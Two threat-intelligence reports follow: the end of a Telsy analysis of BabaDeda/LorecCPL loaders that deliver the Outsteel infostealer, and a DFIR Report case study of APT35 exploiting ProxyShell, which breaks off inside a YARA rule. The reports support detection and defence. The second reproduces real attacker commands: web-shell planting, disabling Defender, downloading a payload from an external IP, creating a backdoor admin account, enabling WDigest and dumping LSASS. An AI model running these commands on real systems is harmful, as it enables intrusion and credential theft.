2nd Loaded DLL
Shellcode Container
So, the main binary before loading the library named 
JxCnv40.dll
 set the current
directory to the right path to be sure that side loading technique works.
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This library, whit hash 7d44391b76368b8331c4f468f8ddbaf6ee5a6793, run in a thread the
second malicious library.
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Basically, the first library open 
manual.pdf
 reads all the content, then starts a new thread
and after copy the 0x226 bytes from the file content into the main binary text section. The
main binary is compiled with text section writable, so it does not need any virtual protect
API. The shellcode taken from the file is located at a specified offset and it has a fixed size,
this means that the BabaDeda crypter is not so ductile, indeed the binary is strictly linked
to the shellcode and the file that contains the shellcode. This makes harder to re-use it
without having the BabaDeda crypter build tools. A threat actor could use it changing the
offsets manually to load another shellcode of different length from another file.
Below the routine that loads the second library:
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Meanwhile the second library is executed in another thread, the final payload is decrypted
and executed in the main binary thread. The payload named Outsteel sends the
documents to be exfiltrated to the URL 
hxxp://185.244.41.109:8080/upld/
This IP was disclosed as an IoC by the Ukrainian CERT in February 2022, although the same
has been in use since at least October 2021. The final payload was decompiled with AutoIt
tools and a code snippet follows.
Outsteel snippet code
The second library, with hash e1d92e085df142d703ed9fd9c65ed92562a759fa, is a mere
downloader. Its main and only purpose is to download the next stage and run it.
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Then the library with hash e1d92e085df142d703ed9fd9c65ed92562a759fa downloads from
the URL "hxxp://smm2021.net/load2022.exe" the artefact, stores it in the path
"C:\Users\<user>\Downloads\installation.exe" and finally executes it.
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The downloaded file represents the second BabaDeda crypter installation and has hash:
75afd05e721553211ce2b6d6760b3e6426378469.
In particular, once executed, it runs an msiexec command to extract each component of
the installation to 
C:\Users\admin\AppData\Roaming\AdoptOpenJDK\Network OpenJDK
11 2.1.11.53
. After that, the main binary is executed automatically.
The malicious files released are:
NAME
adfrecorder.exe
ff_wmv9.dll
libegl3.dll
usage.pdf
SHA1
adea1f5656c54983880c4f1841df85016828eece
ba9cea9ae60f473d7990c4fb6247c11c080788d3
3a0a4e711c95e35c91a196266aeaf1dc0674739d
fa7887bc9d48fcfc6fd0e774092ca711ae28993a
PURPOSE
Main malicious Binary
1st Loaded DLL
2nd Loaded DLL
Shellcode Container
The workflow is quite like the previous, the difference is in the final payload and in the
second malicious library.
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The library 
ff_wmv9.dll
, with hash ba9cea9ae60f473d7990c4fb6247c11c080788d3, is
executed to decrypt the final payload and loads the second library.
It opens the library 
usage.pdf
 reads the content, create a new thread and it copies in text
segment the shellcode located at a specific offset and run it.
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The second library is loaded and executed.
The second library achieves the persistence creating a link file pointing to the main binary
in the start-up directory. The link file is created via COM object interface, in particular using
the IShellLinkW interface.
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The start-up directory is obtained using SHGetFolderPathW() API.
Meanwhile the second library gains the persistence, the main thread run the real payload
after that it is decrypted as described for BabaDeda crypter. To have the final payload the
main binary has been dumped just after the decryption phase. The final payload is a
downloader that tries to download the next stage and run it in another process.
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Threat actor used a particular way to check the file size. It run a stat() and checked the
size field. If it is 1 then the file and the malware is removed otherwise it is executed. The
downloaded file is executed in a new process.
On the other hand, below the function to delete itself.
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Unfortunately, the C2 
hxxp://45.12.5.62/<timestamp in hex>
 was not working so no
further payloads are available.
2.1.2 WhisperGate Code OVERLAP
Some similarity has been found between the final payload, especially in the self-deletion
routine. In particular the similarity is with the file having the hash
34ca75a8c190f20b8a7596afeb255f2228cb2467bd210b2637965b61ac7ea907, i.e. the file
Wiper
Indeed the file wiper reported by 
Unit42
 in shows that the self-deletion command string
is almost identical.
Below the two strings used:
Executable
File Wiper (WhisperGate)
adfrecorder.exe
(final
payload)
Command
cmd.exe /min /C ping 111.111.111.111 -n 5 -w 10 > Nul & Del /f /q \"%s\"
cmd.exe /min /C ping 111.111.111.111 -n 1 -w 10 > Nul & Del /f /q "%s"
In the following snippet the difference between the two functions.
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adfrecorder.exe (final payload)
File Wiper (WhisperGate)
Also the routine to run the command is very similar.
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adfrecorder.exe (final payload)
File Wiper (WhisperGate)
Although the code is quite similar, at the same time it can be quite common. Nevertheless,
the CMD command, its options and the use of the IP 111.111.111 as a whole suggest a
similarity between the two artefacts. In addition, both malware processes close after
execution of the CMD command.
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2.2 BABADEDA Crypter Dropped from a new Downloader
The second infection chain analysed begins with an archive containing a file with the
extension ".cpl" that subsequently downloads the BabaDeda crypter. Based on the
compilation date of the cpl file, it is assumed that this campaign can be traced back to
November 2021.
execution process graph
In terms of analysis, looking at a CPL file is essentially identical to a DLL file. However,
unlike the latter, it is automatically run when double-clicked. This makes it similar to EXE
files; however uneducated users may be more likely to try to execute CPL files if they do
not know any better. These files with the extension CPL have code overlaid with LorecCPL
described by the security company NSFocus.
The zip archive, with hash 33ddc1b13c079001eaa3514de7354019fa4d470a, was hosted on
discord and contains the LorecCPL file with hash:
3bbe45cdcc2731c0bb4751d1098eccc50f98ef66.
The latter is named:
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PDF 
______________________-pdf.cpl
which means 
PDF 
 Instructions for receiving the vaccination bonus
________________________- pdf.cpl
The LorecCPL file downloads an MSI file and installs
C:\Users\admin\AppData\Roaming\3delite\Memory Test Toolkit
path:
The LorecCPL file is therefore only a downloader and has a structure similar to a shellcode
as shown in the following figure:
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Basically, the code and the useful data are both in the text section. The return address in
the stack is used to insert the address of the value that will be used by the call. The
following routine is used to find the module addresses , walking the PEB structure:
Once the address of the library has been obtained, of course the necessary APIs will
actually be resolved:
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The function to find the library address and to resolve the API name are used few times to
get the address of the APIs LoadLibraryW() and GetProcAddr(), respectively the addresses
are stored in the EDI and ESI registers. So further in the code when a library or a API should
be resolved the EDI/ESI register are used to call the proper API.
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The library downloads an executable, with hash
"7b67ed1f42e5cf388a0a981566598E716D9B4F99" from the URL
"CDN.Discordapp.com/attachments/908281957039869965/911202801695/9112028016965
/91120280162882172/adobeaacrobatreaderUpdate.exe" using the "WinHTTP" library,
saves it in the path: 
C:\Users\Public\svchosts.exe
 and finally executes it.
The file with hash 7b67ed1f42e5cf388a0a981566598e716d9b4f99 install BabaDeda crypter
and starts the main malicious binary named also in this case mathparser.exe.
The malicious files extracted are always the same:
NAME
mathparser.exe
JxCnv40.dll
SHA1
f2b8ab6f531621ab355912de64385410c39c1909
7d44391b76368b8331c4f468f8ddbaf6ee5a6793
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PURPOSE
Main malicious Binary
1st Loaded DLL
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libics4.0.dll
manual.pdf
e1d92e085df142d703ed9fd9c65ed92562a759fa
8423b25054aa78535c49042295558f33d34deae1
2nd Loaded DLL
Shellcode Container
The LorecCPL libraries have been used to download Outsteel or BabaDeda crypter.
Outsteel snippet code
2.3 LorecCPL downloads ASPProtected Outsteel
This infection chain according to the compilation time is of December 2021, differently
from the previous one it does not uses BabaDeda crypter as loader but just uses LorecCPL
to download Outsteel packed.
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chain
starts
with
archive,
with
hash
0d94bac4c4df1fe3ad9fd5d6171c7460b30d8203, containing a LorecCPL file, with hash
f9d5b4cd52b42858917a4e1a1a60763c039f8930, and named
pdf - 
.cpl .
The CPL file, having the text segment writable, decrypts the real code via xor and then
jump on it. After the xor operation the code goes on the decrypted zone and execute the
usual LorecCPL flow, i.e. putting arguments on the stack as return address and use them
in functions.
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Indeed dumping the process the visual of the code is equals to the previous one.
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The LorecCPL will download from "stun.site/zepok101.exe" the Outsteel infostealer, with
hash dbc9c8a492ae270bb7ed845680b81b94483ab585, packaged with the ASProtect tool .
After decompressing and unpacking it, the 
Outsteel
 infostealer was found to exfiltrate
documents on C2: 
hxxp://185.244.41.109:8080/upld/
Outsteel snippet code
Belonging to the same campaign, for the same infection chain and period there is another
archive, with hash 66117493eed35fbd3824e35971b0919190cd1de7, hosted at the following
URL:
hxxp://flexspace.app/images/%D0%A2%D0%9B%D0%A4%20%D0%B8%D0%BD%D1%8
4%D0%BE%D1%80%D0%BC%20%D0%92%D0%A0%D0%A3.docx.rar
This RAR file containing the usual LorecCPL file inside, with hash
d0f1518db54f280dde5008404a2750641e76ceb2, named 
.docx.cpl
The LorecCPL file, just like the previous one, starts decrypting its payload and then acts
like the previous downloading the Outsteel ASPRotected.
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LorecCPL file before decryption:
LorecCPL file after decryption:
Telsy Report 
 BabaDeda and LorecCPL downloaders
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The LorecCPL will download the next stage Outsteel from the following URL:
hxxp://stun.site/42348728347829.exe
The next stage, with hash 942337f3ea28f553b47dc05726bb062befe09fef, is still packed
with ASProtector. The exfiltrated documents are still sent to the same IP address:
185.244.41.109.
Outsteel snippet code
Telsy Report 
 BabaDeda and LorecCPL downloaders
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Cyber Reports 
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3 Indicators of Compromise
TYPE
HASH
DOTM
ac672a07c62d48c0a7f98554038913770efaef11
(Installer)
(Installer)
86f402fee99ae1358bb0b76d055b2d04518f
3bbe45cdcc2731c0bb4751d1098eccc50f98ef66
PURPOSE
Start Chain Document Template
downloader
Start Chain Link file downloader
Start Chain CPL file downloader
0d584d72fe321332df0b0a17720191ad96737f47
BABADEDA Crypter Installer
75afd05e721553211ce2b6d6760b3e6426378469
BABADEDA Crypter Installer
26474ba449682e82ca38fef32836dcb23ee24012
f2b8ab6f531621ab355912de64385410c39c1909
7d44391b76368b8331c4f468f8ddbaf6ee5a6793
ba9cea9ae60f473d7990c4fb6247c11c080788d3
e1d92e085df142d703ed9fd9c65ed92562a759fa
3a0a4e711c95e35c91a196266aeaf1dc0674739d
Mathparser.exe main binary
Mathparser.exe main binary
JxCnv40.dll malicious library shellcode
injector (1st stage)
ff_wmv9.dll malicious library shellcode
injector (1st stage)
libics4.0.dll malicious library downloader
(2nd stage)
libegl3.dll
malicious
library
persistence
(2nd stage)
(Shellcode)
(Shellcode)
Archive
Archive
8423b25054aa78535c49042295558f33d34deae1
manual.pdf shellcode container
fa7887bc9d48fcfc6fd0e774092ca711ae28993a
usage.pdf shellcode container
0d94bac4c4df1fe3ad9fd5d6171c7460b30d8203
f9d5b4cd52b42858917a4e1a1a60763c039f8930
dbc9c8a492ae270bb7ed845680b81b94483ab585
66117493eed35fbd3824e35971b0919190cd1de7
d0f1518db54f280dde5008404a2750641e76ceb2
942337f3ea28f553b47dc05726bb062befe09fef
Archive (CPL container)
Outsteel downloader
Outsteel Asprotected
Archive (CPL container)
Outsteel downloader
Outsteel Asprotected
Telsy Report 
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DOMAIN - IP - URL
smm2021.net
http://smm2021.net/load2022.exe
3237.site
http://3237.site/test01.exe
45.12.5.62
cdn.discordapp.com/attachments/908281957039869965/911202801416282172/AdobeAc
robatReaderUpdate.exe
185.244.41.109
hxxp://185.244.41.109:8080/upld/
flexspace.app
hxxp://flexspace.app/images/%D0%A2%D0%9B%D0%A4%20%D0%B8%D0%BD%D1%
84%D0%BE%D1%80%D0%BC%20%D0%92%D0%A0%D0%A3.docx.rar
stun.site
http://stun.site/zepok101.exe
4 ATT&CK Matrix
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Telsy is the Digital Champion of TIM Group for
cybersecurity and cryptography. For 50 years it has been
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armed forces and institutions in the defense of
communications and the Italian cyber perimeter.
Working in synergy with the other factories of the TIM
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strategic company to the national security and defense.
This report was produced by Telsy
Cyber Threat
Intelligence
 team with the help of its CTI platform,
which allows to analyze and stay updated on adversaries
and threats that could impact customers
 business.
2022 Telsy. All rights reserved. The reproduction and distribution of this
material is prohibited without express written permission from Telsy.
TELSY S.p.A.
Corso Svizzera, 185 - 10149 Torino 
 ITALIA
www.telsy.com
email: telsy@telsy.it
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APT35 Automates Initial Access Using ProxyShell
thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell
March 21, 2022
In December 2021, we observed an adversary exploiting the Microsoft Exchange ProxyShell
vulnerabilities to gain initial access and execute code via multiple web shells. The overlap of
activities and tasks was remarkably similar to that observed in our previous report,
Exchange Exploit Leads to Domain Wide Ransomware
In this intrusion, we observed the initial exploitation of the ProxyShell vulnerabilities
followed by some further post-exploitation activity, which included web shells, credential
dumping, and specialized payloads. We assess that this activity was related to APT35 (TA453,
COBALT ILLUSION, Charming Kitten, ITG18, Phosphorus, Newscaster) due to the TTP
mirroring previously reported activity that was attributed to the group.
Case Summary
The threat actors activity occurred in two bursts within a 3 day time frame. As with our
previous case, they started by uploading their web shell and disabling antivirus services.
Soon after, they established two persistence methods. The first was through scheduled tasks,
and the second, was via a newly created account. The account was then added to the 
remote
desktop users
 and 
local administrators users
 groups. Like in the prior case involving
ProxyShell, we observed a file masquerading as dllhost.exe that exhibited similarities to a
proxy tool call Fast Reverse Proxy (with modifications) downloaded from the same IP as
observed in the prior case and connecting to suspect domains.
After establishing alternative ways of re-entering the targeted host, they enumerated the
environment using Windows native programs such as net and ipconfig. At the end of their
first visit, they disabled LSA protection, enabled WDigest for access to plain text credentials
later, dumped the LSASS process memory, and downloaded the results via the web shell.
All of this activity occurred over a time frame of around 2 minutes, leading us to assess that
the entire attack was likely scripted out. The user agent strings of python-requests/2.26.0
and python-urllib3/1.26.7 also point to the use of scripts.
Two days later, we saw the threat actors reappear. We expected them to pick up where they
left off, however, they repeated all previous actions. Due to the similarity between the
commands and the sequential order they ran, this is additional evidence the threat actors
employed automated scripts to execute these activities.
No further activity was observed as the threat actors were evicted from the network.
1/22
Services
We offer multiple services including a Threat Feed service which tracks Command and
Control frameworks such as Cobalt Strike, BazarLoader, Covenant, Metasploit, Empire,
PoshC2, etc. More information on this service and others can be found here.
We also have artifacts and IOCs available from this case such as pcaps, memory captures,
files, event logs including Sysmon, Kape packages, and more, under our Security Researcher
and Organization services.
Timeline
2/22
Analysis and reporting completed by @samaritan_o, @kostastsale, @svch0st and
@RoxpinTeddy.
3/22
Initial Access
As similarly seen in our previous report Exchange Exploit Leads to Domain Wide
Ransomware, this threat actor utilized the Microsoft Exchange ProxyShell vulnerabilities; an
exploit chain of 3 different CVEs:
CVE-2021-34473
CVE-2021-34523
CVE-2021-31207
With the appropriate PowerShell logging available we were able to recover the PowerShell
commandlets executed on the Exchange server, which resulted in the creation of web shells
on the host.
Once the threat actor had gained a valid privileged session using CVE-2021-34473 and CVE2021-34523, they then ensured the default Administrator account had the correct role for
mailbox importing and exporting:
New-ManagementRoleAssignment -Role "Mailbox Import Export" -User
"administrator@<REDACTED>"
The threat actor initiated a mailbox export that matched the search criteria of Subject -eq
'aspx_wkggiyvttmu' to a provided location with the .aspx extension. While the file created
is a legitimate .pst file, in it contains plaintext web shell code that is rendered by IIS when
requested.
New-MailboxExportRequest -Mailbox "administrator@<REDACTED>" -FilePath
"\\localhost\C$\Program Files\Microsoft\Exchange
Server\V15\FrontEnd\HttpProxy\ecp\auth\aspx_wkggiyvttmu.aspx" -IncludeFolders
("#Drafts#") -ContentFilter "Subject -eq 'aspx_wkggiyvttmu'"
In an attempt to hide the actions taken, the actor removes the request just created:
Remove-MailboxExportRequest -Confirm "False" -Force "True" -Identity "77a883a7-470c471c-a193-f4c54f263fde"
This activity then repeated approximately 2 days after the initial exploitation. As the actor
had already achieved remote execution by this point, there is a high likelihood the
exploitation of Exchange servers is automated. Below is the second web shell created that
shares the same naming convention as the first.
New-MailboxExportRequest -Mailbox "administrator@<REDACTED>" -FilePath
"\\localhost\c$\inetpub\wwwroot\aspnet_client\system_web\aspx_dyukbdcxjfi.aspx" IncludeFolders ("#Drafts#") -ContentFilter "Subject -eq 'aspx_dyukbdcxjfi'"
4/22
Execution
Approximately 20 seconds after the web shell aspx_wkggiyvttmu.aspx was created, a
flurry of POST requests were sent to the web shell.
The web shell followed a similar structure seen in previous cases. At least two parameters are
sent in the POST request to the web shell, delimiter which defines what string is used to
separate the response, and exec_code which is the command to be ran. The web shell had
predefined functions for special actions:
get 
 Get file from location on disk (additional dst POST parameter)
put 
 Upload file to location (additional dst POST parameter)
run 
 Execute a list of commands separated by 
 using PowerShell.
5/22
If exec_code does not start with one of the above commands, it will simply attempt to run
it with PowerShell.
The environment for this investigation had SSL inspection and PCAPs available for analysis
which allowed us to see the commands being sent to the web shell itself. Below you can see
an example of commands that were sent and the outputs they returned in the response.
The actor first uploaded a file Wininet.xml , which is later used to create a scheduled task,
to C:\windows\temp using the put command of the web shell. This was followed shortly
by several commands to impair Windows Defender before downloading and executing a fake
dllhost.exe from 148.251.71[.]182.
Scheduled Task Commands:
6/22
schtasks.exe /Create /F /XML C:\windows\temp\Wininet.xml /tn
'\Microsoft\Windows\Maintenance\Wininet'
schtasks.exe /Run /tn '\Microsoft\Windows\Maintenance\Wininet'
Defender Modification Command:
try {Set-MpPreference -DisableBehaviorMonitoring 1 -AsJob; Set-MpPreference SevereThreatDefaultAction Allow -AsJob; Set-MpPreference -DisableRealtimeMonitoring 1
-AsJob; Add-MpPreference -ExclusionPath 'C:\Windows' -Force -AsJob} catch {}
Start-Process powershell.exe {$file='c:\windows\dllhost.exe'; Invoke-WebRequest -Uri
'hXXp://148.251.71[.]182/update[.]tmp' -OutFile $file}
The schedule task runs a batch script called Wininet.bat which was also uploaded through
the web shell. Wininet.bat simply loops through the execution of the file dllhost.exe .
The file dllhost.exe is a golang binary. When executed, the binary was observed resolving
the following domains:
api.myip[.]com (for discovery)
tcp443.msupdate[.]us
kcp53.msupdate[.]us
The binary also spawns the following commands when executed:
cmd /c wmic computersystem get domain
powershell /c Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;
Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select
SmtpAddress | ft -hidetableheaders
The binary has a low confidence reference to FRP (FastReverseProxy) as the sample matches
the closed source Yara rule 
 HKTL_PUA_FRP_FastReverseProxy_Oct21_1 (by Florian
Roth) however it does not behave in the same way as the open source tool. This file also
matches on an additional Yara rule more recently 
APT_MAL_Go_FRP_CharmingKitten_Jan22_1 pointing to the file including some code
from FRP but otherwise having been modified for use by this threat actor.
7/22
Persistence
The threat actor utilized both account creation and scheduled tasks to gain persistence in the
environment.
New account creation
During the first activity, we observed the use of user.exe executable that ran the following
PowerShell command:
powershell.exe /c net user /add DefaultAccount P@ssw0rd123412; net user
DefaultAccount /active:yes; net user DefaultAccount P@ssw0rd12341234; net localgroup
Administrators /add DefaultAccount; net localgroup 'Remote Desktop Users' /add
DefaultAccount
The first thing they did was make a new user named DefaultAccount with the password
P@ssw0rd123412 . They then activated the account and changed the password
( P@ssw0rd12341234 ) for the second time. Finally the commands added the new account to
the Administrators group and Remote Desktop Users group.
The threat actors ran the same command again two days later:
powershell.exe /c net user /add DefaultAccount P@ssw0rd123412; net user
DefaultAccount /active:yes; net user DefaultAccount P@ssw0rd12341234; net localgroup
Administrators /add DefaultAccount; net localgroup 'Remote Desktop Users' /add
DefaultAccount
Due to the close proximity between executed commands, we assess that the threat actors
used tools to automate the execution and discovery phases of this attack.
Scheduled task
As previously noted, we discovered the creation of a Scheduled task from a .xml template that
was copied to the server via the web shell.
8/22
Below, we can observe the content of wininet.xml:
9/22
The following commands where then ran to initiate the task and to achieve persistence:
schtasks.exe /Create /F /XML %wintmp%\Wininet.xml /tn
'\Microsoft\Windows\Maintenance\Wininet'
schtasks.exe /Run /tn '\Microsoft\Windows\Maintenance\Wininet'
10/22
Privilege Escalation
The scheduled task created by the web shell was set to use the principal SID 
S-1-5-18
, or
SYSTEM.
<UserId>S-1-5-18</UserId>
Defense Evasion
Using PowerShell the threat actors issued several commands to impair Windows Defender
including:
Windows Defender Behavior Monitoring was disabled.
The Severe Threat default action was set to 
Allow
Realtime Monitoring was disabled.
The 
C:\Windows
 path was excluded from scheduled and real-time scanning.
try {Set-MpPreference -DisableBehaviorMonitoring 1 -AsJob; Set-MpPreference SevereThreatDefaultAction Allow -AsJob; Set-MpPreference -DisableRealtimeMonitoring 1
-AsJob; Add-MpPreference -ExclusionPath 'C:\Windows' -Force -AsJob} catch {}
A rule was added to the Windows Firewall to allow remote RDP traffic.
"netsh" advfirewall firewall add rule name="Terminal Server" dir=in action=allow
protocol=TCP localport=3389
Remote Desktop Services was started.
"net" start TermService
The threat actor enabled WDigest authentication. This enforces the storage of credentials in
plaintext on future logins.
"reg" add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f
LSA protection was disabled.
"reg" add HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 0 /f
Credential Access
The threat actor created a process memory dump from LSASS.exe. In this case they created a
minidump
 using the LOLBIN comsvcs.dll. This was dropped to disk as ssasl.pmd
(lsass.dmp reversed) and then zipped before exfiltration.
"powershell.exe" /c Remove-Item -Path C:\windows\temp\ssasl.pmd -Force -ErrorAction
Ignore; rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id
C:\windows\temp\ssasl.pmd full | out-host; Compress-Archive
C:\windows\temp\ssasl.pmd C:\windows\temp\ssasl.zip
11/22
Discovery
The threat actors used native Windows binaries to enumerate the exploited server in an
automated fashion. They executed commands such as:
net.exe user
ipconfig.exe /all
powershell.exe (multiple commands)
quser.exe
These discovery tasks like the rest of the activity observed from this threat actor was executed
via the web shell.
They used the PowerShell module Get-WmiObject to collect the name and IP address of the
domain controller.
Get-WMIObject Win32_NTDomain | findstr DomainController
Additionally, we saw threat actors retrieving an email address from the compromised
exchange server using the below command. This was likely done as a test.
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select
Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft hidetableheaders"
Collection
While having access to the Exchange server, we observed no attempts to export or access user
mailboxes.
12/22
Command and Control
As we saw from the execution section, dllhost.exe was used to access the below domains
for C2, which we believe was using a variation of FRP.
tcp443.msupdate[.]us (107.173.231[.]114)
kcp53.msupdate[.]us
(107.173.231[.]114)
This C2 channel was not used very much as most activity was done through the web shell.
Exfiltration
The only successful data that was exfiltrated from the environment was the archive
containing the LSASS dump.
Here you can see the threat actor using the web shell command to extract it:
Impact
In this case, there was no further impact to the environment before the threat actors were
evicted. Due to our previous report and OSINT research we believe with medium to high
confidence that this intrusion would have ended in ransomware.
13/22
Indicators
All artifacts including web shells, files, IPs, etc. were added to our services in December.
Network
ipv4:148.251.71[.]182
ipv4:107.173.231[.]114
domain: tcp443.msupdate[.]us
domain: kcp53.msupdate[.]us
useragent:python-urllib3/1.26.7
useragent:python-requests/2.26.0
File
aspx_dyukbdcxjfi.aspx
1a5ad24a6880eea807078375d6461f58
da2470c3990ea0862a79149c6036388498da83cd
84f77fc4281ebf94ab4897a48aa5dd7092cc0b7c78235965637eeef0908fb6c7
dhvqx.aspx
b2fde6dc7bd1e04ce601f57805de415b
4d243969b54b9b80c1d26e0801a6e7e46d2ef03e
c5aae30675cc1fd83fd25330cec245af744b878a8f86626d98b8e7fcd3e970f8
dllhost.exe
9a3703f9c532ae2ec3025840fa449d4e
8ece87086e8b5aba0d1cc4ec3804bf74e0b45bee
1604e69d17c0f26182a3e3ff65694a49450aafd56a7e8b21697a932409dfd81e
wininet.bat
5f098b55f94f5a448ca28904a57c0e58
27102b416ef5df186bd8b35190c2a4cc4e2fbf37
668ec78916bab79e707dc99fdecfa10f3c87ee36d4dee6e3502d1f5663a428a0
wininet.xml
d2f4647a3749d30a35d5a8faff41765e
0f676bc786db3c44cac4d2d22070fb514b4cb64c
559d4abe3a6f6c93fc9eae24672a49781af140c43d491a757c8e975507b4032e
user.exe
f0be699c8aafc41b25a8fc0974cc4582
6bae2d45bbd8c4b0a59ba08892692fe86e596154
7b5fbbd90eab5bee6f3c25aa3c2762104e219f96501ad6a4463e25e6001eb00b
task_update.exe
cacb64bdf648444e66c82f5ce61caf4b
3a6431169073d61748829c31a9da29123dd61da8
12c6da07da24edba13650cd324b2ad04d0a0526bb4e853dee03c094075f
Detections
14/22
Network
ET INFO User-Agent (python-requests) Inbound to Webserver
ET INFO Generic HTTP EXE Upload Inbound
ET INFO Generic HTTP EXE Upload Outbound
GPL ATTACK_RESPONSE command completed
ET ATTACK_RESPONSE Net User Command Response
ET WEB_SERVER WebShell Generic - netsh firewall
Sigma
Local Accounts Discovery 
https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/
rules/windows/process_creation/win_local_system_owner_account_discovery.yml
Lsass Memory Dump via Comsvcs DLL 
https://github.com/SigmaHQ/sigma/blob/b81839e3ce507df925d6e583e569e1ac3a3894ab/
rules/windows/process_access/sysmon_lsass_dump_comsvcs_dll.yml
Net.exe Execution 
https://github.com/SigmaHQ/sigma/blob/777d218adc789b7f1b146701793e78799324d87d/
rules/windows/process_creation/win_susp_net_execution.yml
Net-exe User Account Creation 
https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/
rules/windows/process_creation/win_net_user_add.yml
Netsh Port or Application Allowed 
https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/
rules/windows/process_creation/win_netsh_fw_add.yml
Netsh RDP Port Opening 
https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/
rules/windows/process_creation/win_netsh_allow_port_rdp.yml
Non Interactive PowerShell 
https://github.com/SigmaHQ/sigma/blob/1425ede905514b7dbf3c457561aaf2ff27274724/ru
les/windows/process_creation/win_non_interactive_powershell.yml
Powershell Defender Exclusion 
https://github.com/SigmaHQ/sigma/blob/682e0458a336c3a6e93b18f7e972e1d67ef01598/r
ules/windows/process_creation/win_powershell_defender_exclusion.yml
PowerShell Get-Process LSASS 
https://github.com/SigmaHQ/sigma/blob/1ff5e226ad8bed34916c16ccc77ba281ca3203ae/ru
les/windows/process_creation/win_susp_powershell_getprocess_lsass.yml
15/22
Process Dump via Comsvcs DLL 
https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/
rules/windows/process_creation/win_susp_comsvcs_procdump.yml
Quick Execution of a Series of Suspicious Commands 
https://github.com/SigmaHQ/sigma/blob/ed4e771700681b36eb8dd74a13dffc94c857bb46/
rules/windows/process_creation/win_multiple_suspicious_cli.yml
Rare Scheduled Task Creations 
https://github.com/SigmaHQ/sigma/blob/04f72b9e78f196544f8f1331b4d9158df34d7ecf/ru
les/windows/other/taskscheduler/win_rare_schtask_creation.yml
Service Execution 
https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/
rules/windows/process_creation/win_service_execution.yml
Shells Spawned by Web Servers 
https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/
rules/windows/process_creation/win_webshell_spawn.yml
Suspicious PowerShell Parent Process 
https://github.com/SigmaHQ/sigma/blob/6f5271275e9ac22be9ded8b9252bce064e524153/
rules/windows/process_creation/win_susp_powershell_parent_process.yml
Suspicious Script Execution From Temp Folder 
https://github.com/SigmaHQ/sigma/blob/ed4e771700681b36eb8dd74a13dffc94c857bb46/
rules/windows/process_creation/win_susp_script_exec_from_temp.yml
Wdigest Enable UseLogonCredential 
https://github.com/SigmaHQ/sigma/blob/503df469687fe4d14d2119a95723485d079ec0d9/
rules/windows/registry_event/sysmon_wdigest_enable_uselogoncredential.yml
Webshell Detection With Command Line Keywords 
https://github.com/SigmaHQ/sigma/blob/1cfca93354d25e458db40f8d48403602b46bbf03
/rules/windows/process_creation/win_webshell_detection.yml
Windows Defender Real-Time Protection Disabled 
https://github.com/SigmaHQ/sigma/blob/57cdfd261266b81255e330723f4adf270fc4c4f8/r
ules/windows/registry_event/registry_event_defender_realtime_protection_disabled.yml
Windows Defender Threat Detection Disabled 
https://github.com/SigmaHQ/sigma/blob/57cdfd261266b81255e330723f4adf270fc4c4f8/r
ules/windows/registry_event/registry_event_defender_disabled.yml
16/22
Windows Shell Spawning Suspicious Program 
https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/
rules/windows/process_creation/win_shell_spawn_susp_program.yml
Windows Suspicious Use Of Web Request in CommandLine 
https://github.com/SigmaHQ/sigma/blob/98d7380a40d503ffd225420f7318b79d9f5097b8
/rules/windows/process_creation/process_creation_susp_web_request_cmd.yml
Windows Webshell Creation 
https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/
rules/windows/file_event/sysmon_webshell_creation_detect.yml
Yara
17/22
rule files_dhvqx {
meta:
description = "9893_files - file dhvqx.aspx"
author = "TheDFIRReport"
reference = "https://thedfirreport.com/2022/03/21/apt35-automates-initialaccess-using-proxyshell/"
date = "2022-03-21"
hash1 = "c5aae30675cc1fd83fd25330cec245af744b878a8f86626d98b8e7fcd3e970f8"
strings:
$s1 = "eval(Request['exec_code'],'unsafe');Response.End;" fullword ascii
$s2 = "6<script language='JScript' runat='server'>" fullword ascii
$s3 = "AEALAAAAAAAAAAA" fullword ascii
$s4 = "AFAVAJA" fullword ascii
$s5 = "AAAAAAV" fullword ascii
$s6 = "LAAAAAAA" fullword ascii
$s7 = "ANAZAQA" fullword ascii
$s8 = "ALAAAAA" fullword ascii
$s9 = "AAAAAEA" ascii
$s10 = "ALAHAUA" fullword ascii
condition:
uint16(0) == 0x4221 and filesize < 800KB and
($s1 and $s2) and 4 of them
rule aspx_dyukbdcxjfi {
meta:
description = "9893_files - file aspx_dyukbdcxjfi.aspx"
author = "TheDFIRReport"
reference = "https://thedfirreport.com/2022/03/21/apt35-automates-initialaccess-using-proxyshell/"
date = "2022-03-21"
hash1 = "84f77fc4281ebf94ab4897a48aa5dd7092cc0b7c78235965637eeef0908fb6c7"
strings:
$s1 = "string[] commands = exec_code.Substring(\"run \".Length).Split(new[] {
';' }, StringSplitOptions.RemoveEmpty" ascii
$s2 = "string[] commands = exec_code.Substring(\"run \".Length).Split(new[] {
';' }, StringSplitOptions.RemoveEmpty" ascii
$s3 = "var dstFile = Path.Combine(dstDir,
Path.GetFileName(httpPostedFile.FileName));" fullword ascii
$s4 = "info.UseShellExecute = false;" fullword ascii
$s5 = "using (StreamReader streamReader = process.StandardError)" fullword
ascii
$s6 = "return httpPostedFile.FileName + \" Uploaded to: \" + dstFile;" fullword
ascii
$s7 = "else if (exec_code.StartsWith(\"download \"))" fullword ascii
